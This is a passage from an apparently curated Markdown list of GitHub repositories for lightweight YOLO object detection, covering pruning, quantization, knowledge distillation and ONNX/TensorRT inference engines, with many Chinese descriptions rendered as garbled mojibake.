- [fsx950223/mobilenetv2-yolov3](https://github.com/fsx950223/mobilenetv2-yolov3) <img src="https://img.shields.io/github/stars/fsx950223/mobilenetv2-yolov3?style=social"/> : yolov3 with mobilenetv2 and efficientnet.
- [liux0614/yolo_nano](https://github.com/liux0614/yolo_nano) <img src="https://img.shields.io/github/stars/liux0614/yolo_nano?style=social"/> : Unofficial implementation of yolo nano.
- [lingtengqiu/Yolo_Nano](https://github.com/lingtengqiu/Yolo_Nano) <img src="https://img.shields.io/github/stars/lingtengqiu/Yolo_Nano?style=social"/> : Pytorch implementation of yolo_Nano for pedestrian detection.
- [bubbliiiing/mobilenet-yolov4-pytorch](https://github.com/bubbliiiing/mobilenet-yolov4-pytorch) <img src="https://img.shields.io/github/stars/bubbliiiing/mobilenet-yolov4-pytorch?style=social"/> : ่ฟๆฏไธไธชmobilenet-yolov4็ๅบ๏ผๆyolov4ไธปๅนฒ็ฝ็ปไฟฎๆนๆไบmobilenet๏ผไฟฎๆนไบPanet็ๅท็งฏ็ปๆ๏ผไฝฟๅๆฐ้ๅคงๅน
ๅบฆ็ผฉๅฐใ
- [bubbliiiing/efficientnet-yolo3-pytorch](https://github.com/bubbliiiing/efficientnet-yolo3-pytorch) <img src="https://img.shields.io/github/stars/bubbliiiing/efficientnet-yolo3-pytorch?style=social"/> : ่ฟๆฏไธไธชefficientnet-yolo3-pytorch็ๆบ็ ๏ผๅฐyolov3็ไธปๅนฒ็นๅพๆๅ็ฝ็ปไฟฎๆนๆไบefficientnetใ
- [HuKai97/YOLOv5-ShuffleNetv2](https://github.com/HuKai97/YOLOv5-ShuffleNetv2) <img src="https://img.shields.io/github/stars/HuKai97/YOLOv5-ShuffleNetv2?style=social"/> : YOLOv5็่ฝป้ๅๆน่ฟ(่ๅทขๆฃๆต้กน็ฎ)ใ
- [YOLO-ReT](https://github.com/guotao0628/yoloret) <img src="https://img.shields.io/github/stars/guotao0628/yoloret?style=social"/> : "YOLO-ReT: Towards High Accuracy Real-time Object Detection on Edge GPUs". (**[WACV 2022](https://openaccess.thecvf.com/content/WACV2022/html/Ganesh_YOLO-ReT_Towards_High_Accuracy_Real-Time_Object_Detection_on_Edge_GPUs_WACV_2022_paper.html)**)
- ### Pruning Knoweldge-Distillation Quantization
- ##### Pruning
###### ๅชๆ
- [Torch-Pruning](https://github.com/VainF/Torch-Pruning) <img src="https://img.shields.io/github/stars/VainF/Torch-Pruning?style=social"/> : Towards Any Structural Pruning; LLMs / SAM / Diffusion / Transformers / YOLOv8 / CNNs. "Towards Any Structural Pruning". (**[CVPR 2023](https://openaccess.thecvf.com/content/CVPR2023/html/Fang_DepGraph_Towards_Any_Structural_Pruning_CVPR_2023_paper.html)**)
- [SparseML](https://github.com/neuralmagic/sparseml) <img src="https://img.shields.io/github/stars/neuralmagic/sparseml?style=social"/> : Libraries for applying sparsification recipes to neural networks with a few lines of code, enabling faster and smaller models. "Inducing and Exploiting Activation Sparsity for Fast Inference on Deep Neural Networks". (**[PMLR 2020](http://proceedings.mlr.press/v119/kurtz20a.html)**). "Woodfisher: Efficient second-order approximation for neural network compression". (**[NeurIPS 2020](https://proceedings.neurips.cc/paper/2020/hash/d1ff1ec86b62cd5f3903ff19c3a326b2-Abstract.html)**)
- [SparseZoo](https://github.com/neuralmagic/sparsezoo) <img src="https://img.shields.io/github/stars/neuralmagic/sparsezoo?style=social"/> : Neural network model repository for highly sparse and sparse-quantized models with matching sparsification recipes.
- [Gumpest/YOLOv5-Multibackbone-Compression](https://github.com/Gumpest/YOLOv5-Multibackbone-Compression) <img src="https://img.shields.io/github/stars/Gumpest/YOLOv5-Multibackbone-Compression?style=social"/> : YOLOv5 Series Multi-backbone(TPH-YOLOv5, Ghostnet, ShuffleNetv2, Mobilenetv3Small, EfficientNetLite, PP-LCNet, SwinTransformer YOLO), Module(CBAM, DCN), Pruning (EagleEye, Network Slimming) and Quantization (MQBench) Compression Tool Box.
- [SlimYOLOv3](https://github.com/PengyiZhang/SlimYOLOv3) <img src="https://img.shields.io/github/stars/PengyiZhang/SlimYOLOv3?style=social"/> : "SlimYOLOv3: Narrower, Faster and Better for UAV Real-Time Applications". (**[arXiv 2019](https://arxiv.org/abs/1907.11093)**)
- [uyzhang/yolov5_prune](https://github.com/uyzhang/yolov5_prune) <img src="https://img.shields.io/github/stars/uyzhang/yolov5_prune?style=social"/> : Yolov5 pruning on COCO Dataset.
- [midasklr/yolov5prune](https://github.com/midasklr/yolov5prune) <img src="https://img.shields.io/github/stars/midasklr/yolov5prune?style=social"/> : yolov5ๆจกๅๅชๆใ
- [ZJU-lishuang/yolov5_prune](https://github.com/ZJU-lishuang/yolov5_prune) <img src="https://img.shields.io/github/stars/ZJU-lishuang/yolov5_prune?style=social"/> : yolov5 prune๏ผSupport V2, V3, V4 and V6 versions of yolov5.
- [sbbug/yolov5-prune-multi](https://github.com/sbbug/yolov5-prune-multi) <img src="https://img.shields.io/github/stars/sbbug/yolov5-prune-multi?style=social"/> : yolov5-prune-multi ๆ ไบบๆบ่ง่งใๅคๆจกๆใๆจกๅๅชๆใๅฝไบงAI่ฏ็้จ็ฝฒใ
- [Syencil/mobile-yolov5-pruning-distillation](https://github.com/Syencil/mobile-yolov5-pruning-distillation) <img src="https://img.shields.io/github/stars/Syencil/mobile-yolov5-pruning-distillation?style=social"/> : mobilev2-yolov5sๅชๆใ่ธ้ฆ๏ผๆฏๆncnn๏ผtensorRT้จ็ฝฒใultra-light but better performence๏ผ
- [Lam1360/YOLOv3-model-pruning](https://github.com/Lam1360/YOLOv3-model-pruning) <img src="https://img.shields.io/github/stars/Lam1360/YOLOv3-model-pruning?style=social"/> : ๅจ oxford hand ๆฐๆฎ้ไธๅฏน YOLOv3 ๅๆจกๅๅชๆ๏ผnetwork slimming๏ผใ
- [tanluren/yolov3-channel-and-layer-pruning](https://github.com/tanluren/yolov3-channel-and-layer-pruning) <img src="https://img.shields.io/github/stars/tanluren/yolov3-channel-and-layer-pruning?style=social"/> : yolov3 yolov4 channel and layer pruning, Knowledge Distillation ๅฑๅชๆ๏ผ้้ๅชๆ๏ผ็ฅ่ฏ่ธ้ฆใ
- [coldlarry/YOLOv3-complete-pruning](https://github.com/coldlarry/YOLOv3-complete-pruning) <img src="https://img.shields.io/github/stars/coldlarry/YOLOv3-complete-pruning?style=social"/> : ๆไพๅฏนYOLOv3ๅTiny็ๅค็งๅชๆ็ๆฌ๏ผไปฅ้ๅบไธๅ็้ๆฑใ
- [SpursLipu/YOLOv3v4-ModelCompression-MultidatasetTraining-Multibackbone](https://github.com/SpursLipu/YOLOv3v4-ModelCompression-MultidatasetTraining-Multibackbone) <img src="https://img.shields.io/github/stars/SpursLipu/YOLOv3v4-ModelCompression-MultidatasetTraining-Multibackbone?style=social"/> : YOLO ModelCompression MultidatasetTraining.
- [talebolano/yolov3-network-slimming](https://github.com/talebolano/yolov3-network-slimming) <img src="https://img.shields.io/github/stars/talebolano/yolov3-network-slimming?style=social"/> : yolov3 network slimmingๅชๆ็ไธ็งๅฎ็ฐใ
- [Bigtuo/YOLOX-Lite](https://github.com/Bigtuo/YOLOX-Lite) <img src="https://img.shields.io/github/stars/Bigtuo/YOLOX-Lite?style=social"/> : ๅฐYOLOv5-Liteไปฃ็ ไธญ็headๆดๆขไธบYOLOX headใ
- [YINYIPENG-EN/Pruning_for_YOLOV5_pytorch](https://github.com/YINYIPENG-EN/Pruning_for_YOLOV5_pytorch) <img src="https://img.shields.io/github/stars/YINYIPENG-EN/Pruning_for_YOLOV5_pytorch?style=social"/> : Pruning_for_YOLOV5_pytorch.
- [chumingqian/Model_Compression_For_YOLOV3-V4](https://github.com/chumingqian/Model_Compression_For_YOLOV3-V4) <img src="https://img.shields.io/github/stars/chumingqian/Model_Compression_For_YOLOV3-V4?style=social"/> : In this repository using the dynamic sparse training( variable sparse rate s which can speed up the sparse training process), channel pruning and knowledge distilling for YOLOV3 and YOLOV4.
- [xhwNobody/yolov5_prune_sfp](https://github.com/xhwNobody/yolov5_prune_sfp) <img src="https://img.shields.io/github/stars/xhwNobody/yolov5_prune_sfp?style=social"/> : ๅบไบSFPๅFPGM็yolov5็่ฝฏๅชๆๅฎ็ฐใ
- ##### Quantization
###### ้ๅ
- [dog-qiuqiu/FastestDet](https://github.com/dog-qiuqiu/FastestDet) <img src="https://img.shields.io/github/stars/dog-qiuqiu/FastestDet?style=social"/> : โก A newly designed ultra lightweight anchor free target detection algorithm๏ผ weight only 250K parameters๏ผ reduces the time consumption by 10% compared with yolo-fastest, and the post-processing is simpler. "็ฅไนใ้ฉฌ้ชๆตฉใใ[FastestDet: ๆฏyolo-fastestๆดๅฟซ๏ผๆดๅผบ๏ผๆด็ฎๅ๏ผๅ
จๆฐ่ฎพ่ฎก็่ถ
ๅฎๆถAnchor-free็ฎๆ ๆฃๆต็ฎๆณ](https://zhuanlan.zhihu.com/p/536500269)ใ"ใ "ๅพฎไฟกๅ
ฌไผๅทใ่ฎก็ฎๆบ่ง่ง็ ็ฉถ้ขใใ[FastestDet๏ผๆฏyolov5ๆดๅฟซ๏ผๆดๅผบ๏ผๅ
จๆฐ่ฎพ่ฎก็่ถ
ๅฎๆถAnchor-free็ฎๆ ๆฃๆต็ฎๆณ๏ผ้ๆบไปฃ็ ไธ่ฝฝ๏ผ](https://mp.weixin.qq.com/s/Bskc5WQd8ujy16Jl4qekjQ)ใ"ใ
- [dog-qiuqiu/Yolo-Fastest](https://github.com/dog-qiuqiu/Yolo-Fastest) <img src="https://img.shields.io/github/stars/dog-qiuqiu/Yolo-Fastest?style=social"/> : Yolo-Fastest๏ผ่ถ
่ถ
่ถ
ๅฟซ็ๅผๆบARMๅฎๆถ็ฎๆ ๆฃๆต็ฎๆณใ [Zenodo 2021](http://doi.org/10.5281/zenodo.5131532). "็ฅไนใ้ฉฌ้ชๆตฉใใ[Yolo-Fastest๏ผ่ถ
่ถ
่ถ
ๅฟซ็ๅผๆบARMๅฎๆถ็ฎๆ ๆฃๆต็ฎๆณ](https://zhuanlan.zhihu.com/p/234506503)ใ"ใ
- [dog-qiuqiu/Yolo-FastestV2](https://github.com/dog-qiuqiu/Yolo-FastestV2) <img src="https://img.shields.io/github/stars/dog-qiuqiu/Yolo-FastestV2?style=social"/> : Yolo-FastestV2:ๆดๅฟซ๏ผๆด่ฝป๏ผ็งปๅจ็ซฏๅฏ่พพ300FPS๏ผๅๆฐ้ไป
250kใ "็ฅไนใ้ฉฌ้ชๆตฉใใ[Yolo-FastestV2:ๆดๅฟซ๏ผๆด่ฝป๏ผ็งปๅจ็ซฏๅฏ่พพ300FPS๏ผๅๆฐ้ไป
250k](https://zhuanlan.zhihu.com/p/400474142)ใ"ใ
- [YOLObile](https://github.com/nightsnack/YOLObile) <img src="https://img.shields.io/github/stars/nightsnack/YOLObile?style=social"/> : "YOLObile: Real-Time Object Detection on Mobile Devices via Compression-Compilation Co-Design". (**[AAAI 2021](https://www.aaai.org/AAAI21Papers/AAAI-7561.CaiY.pdf)**)
- [PaddleSlim](https://github.com/PaddlePaddle/PaddleSlim) <img src="https://img.shields.io/github/stars/PaddlePaddle/PaddleSlim?style=social"/> : PaddleSlim is an open-source library for deep model compression and architecture search. PaddleSlimๆฏไธไธชไธๆณจไบๆทฑๅบฆๅญฆไน ๆจกๅๅ็ผฉ็ๅทฅๅ
ทๅบ๏ผๆไพไฝๆฏ็น้ๅใ็ฅ่ฏ่ธ้ฆใ็จ็ๅๅๆจกๅ็ปๆๆ็ดข็ญๆจกๅๅ็ผฉ็ญ็ฅ๏ผๅธฎๅฉ็จๆทๅฟซ้ๅฎ็ฐๆจกๅ็ๅฐๅๅใ
- [PPL้ๅๅทฅๅ
ท](https://github.com/openppl-public/ppq) <img src="https://img.shields.io/github/stars/openppl-public/ppq?style=social"/> : PPL Quantization Tool (PPQ) is a powerful offline neural network quantization tool. PPL QuantTool ๆฏไธไธช้ซๆ็ๅทฅไธ็บง็ฅ็ป็ฝ็ป้ๅๅทฅๅ
ทใ
- [PINTO_model_zoo](https://github.com/PINTO0309/PINTO_model_zoo) <img src="https://img.shields.io/github/stars/PINTO0309/PINTO_model_zoo?style=social"/> : A repository for storing models that have been inter-converted between various frameworks. Supported frameworks are TensorFlow, PyTorch, ONNX, OpenVINO, TFJS, TFTRT, TensorFlowLite (Float32/16/INT8), EdgeTPU, CoreML.
- [ppogg/YOLOv5-Lite](https://github.com/ppogg/YOLOv5-Lite) <img src="https://img.shields.io/github/stars/ppogg/YOLOv5-Lite?style=social"/> : ๐
๐
๐
YOLOv5-Lite: lighter, faster and easier to deploy. Evolved from yolov5 and the size of model is only 930+kb (int8) and 1.7M (fp16). It can reach 10+ FPS on the Raspberry Pi 4B when the input size is 320ร320~
- [AlexeyAB/yolo2_light](https://github.com/AlexeyAB/yolo2_light) <img src="https://img.shields.io/github/stars/AlexeyAB/yolo2_light?style=social"/> : Light version of convolutional neural network Yolo v3 & v2 for objects detection with a minimum of dependencies (INT8-inference, BIT1-XNOR-inference).
- ##### Knoweldge-Distillation
###### ็ฅ่ฏ่ธ้ฆ
- [torchdistill](https://github.com/yoshitomo-matsubara/torchdistill) <img src="https://img.shields.io/github/stars/yoshitomo-matsubara/torchdistill?style=social"/> : torchdistill: A Modular, Configuration-Driven Framework for Knowledge Distillation. A coding-free framework built on PyTorch for reproducible deep learning studies. ๐20 knowledge distillation methods presented at CVPR, ICLR, ECCV, NeurIPS, ICCV, etc are implemented so far. ๐ Trained models, training logs and configurations are available for ensuring the reproducibiliy and benchmark.
- [wonbeomjang/yolov5-knowledge-distillation](https://github.com/wonbeomjang/yolov5-knowledge-distillation) <img src="https://img.shields.io/github/stars/wonbeomjang/yolov5-knowledge-distillation?style=social"/> : implementation of [Distilling Object Detectors with Fine-grained Feature Imitation](https://github.com/twangnh/Distilling-Object-Detectors) on yolov5. "Distilling Object Detectors with Fine-grained Feature Imitation". (**[CVPR 2019](https://openaccess.thecvf.com/content_CVPR_2019/html/Wang_Distilling_Object_Detectors_With_Fine-Grained_Feature_Imitation_CVPR_2019_paper.html)**)
- [Sharpiless/Yolov5-distillation-train-inference](https://github.com/Sharpiless/Yolov5-distillation-train-inference) <img src="https://img.shields.io/github/stars/Sharpiless/Yolov5-distillation-train-inference?style=social"/> : Yolov5 distillation training | Yolov5็ฅ่ฏ่ธ้ฆ่ฎญ็ป๏ผๆฏๆ่ฎญ็ป่ชๅทฑ็ๆฐๆฎใ
- [Sharpiless/yolov5-distillation-5.0](https://github.com/Sharpiless/yolov5-distillation-5.0) <img src="https://img.shields.io/github/stars/Sharpiless/yolov5-distillation-5.0?style=social"/> : yolov5 5.0 version distillation || yolov5 5.0็ๆฌ็ฅ่ฏ่ธ้ฆ๏ผyolov5l >> yolov5sใ
- [Sharpiless/yolov5-knowledge-distillation](https://github.com/Sharpiless/yolov5-knowledge-distillation) <img src="https://img.shields.io/github/stars/Sharpiless/yolov5-knowledge-distillation?style=social"/> : yolov5็ฎๆ ๆฃๆตๆจกๅ็็ฅ่ฏ่ธ้ฆ๏ผๅบไบๅๅบ็่ธ้ฆ๏ผใ
- [chengpanghu/Knowledge-Distillation-yolov5](https://github.com/chengpanghu/Knowledge-Distillation-yolov5) <img src="https://img.shields.io/github/stars/chengpanghu/Knowledge-Distillation-yolov5?style=social"/> : Knowledge-Distillation-yolov5 ๅบไบyolov5็็ฅ่ฏ่ธ้ฆใ
- [magicshuang/yolov5_distillation](https://github.com/magicshuang/yolov5_distillation) <img src="https://img.shields.io/github/stars/magicshuang/yolov5_distillation?style=social"/> : yolov5 ็ฅ่ฏ่ธ้ฆ๏ผyolov5-lๆจกๅๅ็ผฉ่ณyolov5-s ๅ็ผฉ็ฎๆณๆฏ [Distilling Object Detectors with Fine-grained Feature Imitation](https://github.com/twangnh/Distilling-Object-Detectors)ใ
- [Sharpiless/Yolov3-MobileNet-Distillation](https://github.com/Sharpiless/Yolov3-MobileNet-Distillation) <img src="https://img.shields.io/github/stars/Sharpiless/Yolov3-MobileNet-Distillation?style=social"/> : ๅจYolov3-MobileNetไธ่ฟ่กๆจกๅ่ธ้ฆ่ฎญ็ปใ
- [SsisyphusTao/Object-Detection-Knowledge-Distillation](https://github.com/SsisyphusTao/Object-Detection-Knowledge-Distillation) <img src="https://img.shields.io/github/stars/SsisyphusTao/Object-Detection-Knowledge-Distillation?style=social"/> : An Object Detection Knowledge Distillation framework powered by pytorch, now having SSD and yolov5.
- ### High-performance Inference Engine
#### ้ซๆง่ฝๆจ็ๅผๆ
- ##### ONNX
- [ONNX Runtime](https://github.com/microsoft/onnxruntime) <img src="https://img.shields.io/github/stars/microsoft/onnxruntime?style=social"/> : ONNX Runtime: cross-platform, high performance ML inferencing and training accelerator. [onnxruntime.ai](https://onnxruntime.ai/)
- [ONNX](https://github.com/onnx/onnx) <img src="https://img.shields.io/github/stars/onnx/onnx?style=social"/> : Open Neural Network Exchange. Open standard for machine learning interoperability. [onnx.ai](https://onnx.ai/)
- [ONNXMLTools](https://github.com/onnx/onnxmltools) <img src="https://img.shields.io/github/stars/onnx/onnxmltools?style=social"/> : ONNXMLTools enables you to convert models from different machine learning toolkits into [ONNX](https://github.com/onnx/onnx). [onnx.ai](https://onnx.ai/)
- [xboot/libonnx](https://github.com/xboot/libonnx) <img src="https://img.shields.io/github/stars/xboot/libonnx?style=social"/> : A lightweight, portable pure C99 onnx inference engine for embedded devices with hardware acceleration support.
- [kraiskil/onnx2c](https://github.com/kraiskil/onnx2c) <img src="https://img.shields.io/github/stars/kraiskil/onnx2c?style=social"/> : Open Neural Network Exchange to C compiler. Onnx2c is a [ONNX](https://onnx.ai/) to C compiler. It will read an ONNX file, and generate C code to be included in your project. Onnx2c's target is "Tiny ML", meaning running the inference on microcontrollers.
- [tract](https://github.com/sonos/tract) <img src="https://img.shields.io/github/stars/sonos/tract?style=social"/> : Sonos' Neural Network inference engine. Tiny, no-nonsense, self-contained, Tensorflow and ONNX inference
- [ort](https://github.com/pykeio/ort) <img src="https://img.shields.io/github/stars/pykeio/ort?style=social"/> : A Rust wrapper for ONNX Runtime. [docs.rs/ort](https://docs.rs/ort/latest/ort/)
- [onnxruntime-rs](https://github.com/nbigaouette/onnxruntime-rs) <img src="https://img.shields.io/github/stars/nbigaouette/onnxruntime-rs?style=social"/> : This is an attempt at a Rust wrapper for [Microsoft's ONNX Runtime](https://github.com/microsoft/onnxruntime) (version 1.8).
- [Wonnx](https://github.com/webonnx/wonnx) <img src="https://img.shields.io/github/stars/webonnx/wonnx?style=social"/> : Wonnx is a GPU-accelerated ONNX inference run-time written 100% in Rust, ready for the web.
- [altius](https://github.com/maekawatoshiki/altius) <img src="https://img.shields.io/github/stars/maekawatoshiki/altius?style=social"/> : Small ONNX inference runtime written in Rust.
- [Hyuto/yolo-nas-onnx](https://github.com/Hyuto/yolo-nas-onnx) <img src="https://img.shields.io/github/stars/Hyuto/yolo-nas-onnx?style=social"/> : Inference YOLO-NAS ONNX model. [hyuto.github.io/yolo-nas-onnx/](https://hyuto.github.io/yolo-nas-onnx/)
- [DanielSarmiento04/yolov10cpp](https://github.com/DanielSarmiento04/yolov10cpp) <img src="https://img.shields.io/github/stars/DanielSarmiento04/yolov10cpp?style=social"/> : Implementation of yolo v10 in c++ std 17 over opencv and onnxruntime.
- ##### TensorRT
- [NVIDIA/TensorRT](https://github.com/NVIDIA/TensorRT) <img src="https://img.shields.io/github/stars/NVIDIA/TensorRT?style=social"/> : NVIDIAยฎ TensorRTโข is an SDK for high-performance deep learning inference on NVIDIA GPUs. This repository contains the open source components of TensorRT. [developer.nvidia.com/tensorrt](https://developer.nvidia.com/tensorrt)
- [NVIDIA/TensorRT-LLM](https://github.com/NVIDIA/TensorRT-LLM) <img src="https://img.shields.io/github/stars/NVIDIA/TensorRT-LLM?style=social"/> : TensorRT-LLM provides users with an easy-to-use Python API to define Large Language Models (LLMs) and build TensorRT engines that contain state-of-the-art optimizations to perform inference efficiently on NVIDIA GPUs. TensorRT-LLM also contains components to create Python and C++ runtimes that execute those TensorRT engines. [nvidia.github.io/TensorRT-LLM](https://nvidia.github.io/TensorRT-LLM)
- [laugh12321/TensorRT-YOLO](https://github.com/laugh12321/TensorRT-YOLO) <img src="https://img.shields.io/github/stars/laugh12321/TensorRT-YOLO?style=social"/> : ๐ TensorRT-YOLO: Support YOLOv3, YOLOv5, YOLOv6, YOLOv7, YOLOv8, YOLOv9, YOLOv10, PP-YOLOE using TensorRT acceleration with EfficientNMS! TensorRT-YOLO ๆฏไธไธชๆฏๆ YOLOv3ใYOLOv5ใYOLOv6ใYOLOv7ใYOLOv8ใYOLOv9ใYOLOv10ใPP-YOLOE ๅ PP-YOLOE+ ็ๆจ็ๅ ้้กน็ฎ๏ผไฝฟ็จ NVIDIA TensorRT ่ฟ่กไผๅใ้กน็ฎไธไป
้ๆไบ EfficientNMS TensorRT ๆไปถไปฅๅขๅผบๅๅค็ๆๆ๏ผ่ฟไฝฟ็จไบ CUDA ๆ ธๅฝๆฐๆฅๅ ้ๅๅค็่ฟ็จใTensorRT-YOLO ๆไพไบ C++ ๅ Python ๆจ็็ๆฏๆ๏ผๆจๅจๆไพๅฟซ้่ไผๅ็็ฎๆ ๆฃๆต่งฃๅณๆนๆกใ
- [l-sf/Linfer](https://github.com/l-sf/Linfer) <img src="https://img.shields.io/github/stars/l-sf/Linfer?style=social"/> : ๅบไบTensorRT็C++้ซๆง่ฝๆจ็ๅบ๏ผYolov10, YoloPv2๏ผYolov5/7/X/8๏ผRT-DETR๏ผๅ็ฎๆ ่ท่ธชOSTrackใLightTrackใ
- [Melody-Zhou/tensorRT_Pro-YOLOv8](https://github.com/Melody-Zhou/tensorRT_Pro-YOLOv8) <img src="https://img.shields.io/github/stars/Melody-Zhou/tensorRT_Pro-YOLOv8?style=social"/> : This repository is based on [shouxieai/tensorRT_Pro](https://github.com/shouxieai/tensorRT_Pro), with adjustments to support YOLOv8. ็ฎๅๅทฒๆฏๆ YOLOv8ใYOLOv8-ClsใYOLOv8-SegใYOLOv8-OBBใYOLOv8-PoseใRT-DETRใByteTrackใYOLOv9ใYOLOv10ใRTMO ้ซๆง่ฝๆจ็๏ผ๏ผ๏ผ๐๐๐
- [shouxieai/tensorRT_Pro](https://github.com/shouxieai/tensorRT_Pro) <img src="https://img.shields.io/github/stars/shouxieai/tensorRT_Pro?style=social"/> : C++ library based on tensorrt integration.
- [shouxieai/infer](https://github.com/shouxieai/infer) <img src="https://img.shields.io/github/stars/shouxieai/infer?style=social"/> : A new tensorrt integrate. Easy to integrate many tasks.
- [kalfazed/tensorrt_starter](https://github.com/kalfazed/tensorrt_starter) <img src="https://img.shields.io/github/stars/kalfazed/tensorrt_starter?style=social"/> : This repository give a guidline to learn CUDA and TensorRT from the beginning.
- [hamdiboukamcha/yolov10-tensorrt](https://github.com/hamdiboukamcha/yolov10-tensorrt) <img src="https://img.shields.io/github/stars/hamdiboukamcha/yolov10-tensorrt?style=social"/> : YOLOv10 C++ TensorRT : Real-Time End-to-End Object Detection.
- [triple-Mu/YOLOv8-TensorRT](https://github.com/triple-Mu/YOLOv8-TensorRT) <img src="https://img.shields.io/github/stars/triple-Mu/YOLOv8-TensorRT?style=social"/> : YOLOv8 using TensorRT accelerate !
- [FeiYull/TensorRT-Alpha](https://github.com/FeiYull/TensorRT-Alpha) <img src="https://img.shields.io/github/stars/NVIDIA-AI-IOT/torch2trt?style=social"/> : ๐ฅ๐ฅ๐ฅTensorRT for YOLOv8ใYOLOv8-PoseใYOLOv8-SegใYOLOv8-ClsใYOLOv7ใYOLOv6ใYOLOv5ใYOLONAS......๐๐๐CUDA IS ALL YOU NEED.๐๐๐
- [cyrusbehr/YOLOv8-TensorRT-CPP](https://github.com/cyrusbehr/YOLOv8-TensorRT-CPP) <img src="https://img.shields.io/github/stars/cyrusbehr/YOLOv8-TensorRT-CPP?style=social"/> : YOLOv8 TensorRT C++ Implementation. A C++ Implementation of YoloV8 using TensorRT Supports object detection, semantic segmentation, and body pose estimation.
- [VIDIA-AI-IOT/torch2trt](https://github.com/NVIDIA-AI-IOT/torch2trt) <img src="https://img.shields.io/github/stars/NVIDIA-AI-IOT/torch2trt?style=social"/> : An easy to use PyTorch to TensorRT converter.
- [zhiqwang/yolort](https://github.com/zhiqwang/yolort) <img src="https://img.shields.io/github/stars/zhiqwang/yolort?style=social"/> : yolort is a runtime stack for yolov5 on specialized accelerators such as tensorrt, libtorch, onnxruntime, tvm and ncnn. [zhiqwang.com/yolort](https://zhiqwang.com/yolort/)
- [Linaom1214/TensorRT-For-YOLO-Series](https://github.com/Linaom1214/TensorRT-For-YOLO-Series) <img src="https://img.shields.io/github/stars/Linaom1214/TensorRT-For-YOLO-Series?style=social"/> : YOLO Series TensorRT Python/C++. tensorrt for yolo series (YOLOv8, YOLOv7, YOLOv6....), nms plugin support.
- [wang-xinyu/tensorrtx](https://github.com/wang-xinyu/tensorrtx) <img src="https://img.shields.io/github/stars/wang-xinyu/tensorrtx?style=social"/> : TensorRTx aims to implement popular deep learning networks with tensorrt network definition APIs.
- [DefTruth/lite.ai.toolkit](https://github.com/DefTruth/lite.ai.toolkit) <img src="https://img.shields.io/github/stars/DefTruth/lite.ai.toolkit?style=social"/> : ๐ A lite C++ toolkit of awesome AI models with ONNXRuntime, NCNN, MNN and TNN. YOLOX, YOLOP, YOLOv6, YOLOR, MODNet, YOLOX, YOLOv7, YOLOv5. MNN, NCNN, TNN, ONNXRuntime. โ๐ Lite.Ai.ToolKit: ไธไธช่ฝป้็บง็C++ AIๆจกๅๅทฅๅ
ท็ฎฑ๏ผ็จๆทๅๅฅฝ๏ผ่ฟ่กๅง๏ผ๏ผๅผ็ฎฑๅณ็จใๅทฒ็ปๅ
ๆฌ 100+ ๆต่ก็ๅผๆบๆจกๅใ่ฟๆฏไธไธชๆ นๆฎไธชไบบๅ
ด่ถฃๆด็็C++ๅทฅๅ
ท็ฎฑ๏ผ, ๆถต็็ฎๆ ๆฃๆตใไบบ่ธๆฃๆตใไบบ่ธ่ฏๅซใ่ฏญไนๅๅฒใๆ ๅพ็ญ้ขๅใโ
- [PaddlePaddle/FastDeploy](https://github.com/PaddlePaddle/FastDeploy) <img src="https://img.shields.io/github/stars/PaddlePaddle/FastDeploy?style=social"/> : โก๏ธAn Easy-to-use and Fast Deep Learning Model Deployment Toolkit for โ๏ธCloud ๐ฑMobile and ๐นEdge. Including Image, Video, Text and Audio 20+ main stream scenarios and 150+ SOTA models with end-to-end optimization, multi-platform and multi-framework support.
- [enazoe/yolo-tensorrt](https://github.com/enazoe/yolo-tensorrt) <img src="https://img.shields.io/github/stars/enazoe/yolo-tensorrt?style=social"/> : TensorRT8.Support Yolov5n,s,m,l,x .darknet -> tensorrt. Yolov4 Yolov3 use raw darknet *.weights and *.cfg fils. If the wrapper is useful to you,please Star it.
- [guojianyang/cv-detect-robot](https://github.com/guojianyang/cv-detect-robot) <img src="https://img.shields.io/github/stars/guojianyang/cv-detect-robot?style=social"/> : ๐ฅ๐ฅ๐ฅ๐ฅ๐ฅ๐ฅDocker NVIDIA Docker2 YOLOV5 YOLOX YOLO Deepsort TensorRT ROS Deepstream Jetson Nano TX2 NX for High-performance deployment(้ซๆง่ฝ้จ็ฝฒ)ใ
- [BlueMirrors/Yolov5-TensorRT](https://github.com/BlueMirrors/Yolov5-TensorRT) <img src="https://img.shields.io/github/stars/BlueMirrors/Yolov5-TensorRT?style=social"/> : Yolov5 TensorRT Implementations.
- [lewes6369/TensorRT-Yolov3](https://github.com/lewes6369/TensorRT-Yolov3) <img src="https://img.shields.io/github/stars/lewes6369/TensorRT-Yolov3?style=social"/> : TensorRT for Yolov3.
- [CaoWGG/TensorRT-YOLOv4](https://github.com/CaoWGG/TensorRT-YOLOv4) <img src="https://img.shields.io/github/stars/CaoWGG/TensorRT-YOLOv4?style=social"/> :tensorrt5, yolov4, yolov3,yolov3-tniy,yolov3-tniy-prn.
- [isarsoft/yolov4-triton-tensorrt](https://github.com/isarsoft/yolov4-triton-tensorrt) <img src="https://img.shields.io/github/stars/isarsoft/yolov4-triton-tensorrt?style=social"/> : YOLOv4 on Triton Inference Server with TensorRT.
- [TrojanXu/yolov5-tensorrt](https://github.com/TrojanXu/yolov5-tensorrt) <img src="https://img.shields.io/github/stars/TrojanXu/yolov5-tensorrt?style=social"/> : A tensorrt implementation of yolov5.
- [tjuskyzhang/Scaled-YOLOv4-TensorRT](https://github.com/tjuskyzhang/Scaled-YOLOv4-TensorRT) <img src="https://img.shields.io/github/stars/tjuskyzhang/Scaled-YOLOv4-TensorRT?style=social"/> : Implement yolov4-tiny-tensorrt, yolov4-csp-tensorrt, yolov4-large-tensorrt(p5, p6, p7) layer by layer using TensorRT API.
- [Syencil/tensorRT](https://github.com/Syencil/tensorRT) <img src="https://img.shields.io/github/stars/Syencil/tensorRT?style=social"/> : TensorRT-7 Network Lib ๅ
ๆฌๅธธ็จ็ฎๆ ๆฃๆตใๅ
ณ้ฎ็นๆฃๆตใไบบ่ธๆฃๆตใOCR็ญ ๅฏ่ฎญ็ป่ชๅทฑๆฐๆฎใ
- [SeanAvery/yolov5-tensorrt](https://github.com/SeanAvery/yolov5-tensorrt) <img src="https://img.shields.io/github/stars/SeanAvery/yolov5-tensorrt?style=social"/> : YOLOv5 in TensorRT.
- [Monday-Leo/YOLOv7_Tensorrt](https://github.com/Monday-Leo/YOLOv7_Tensorrt) <img src="https://img.shields.io/github/stars/Monday-Leo/YOLOv7_Tensorrt?style=social"/> : A simple implementation of Tensorrt YOLOv7.
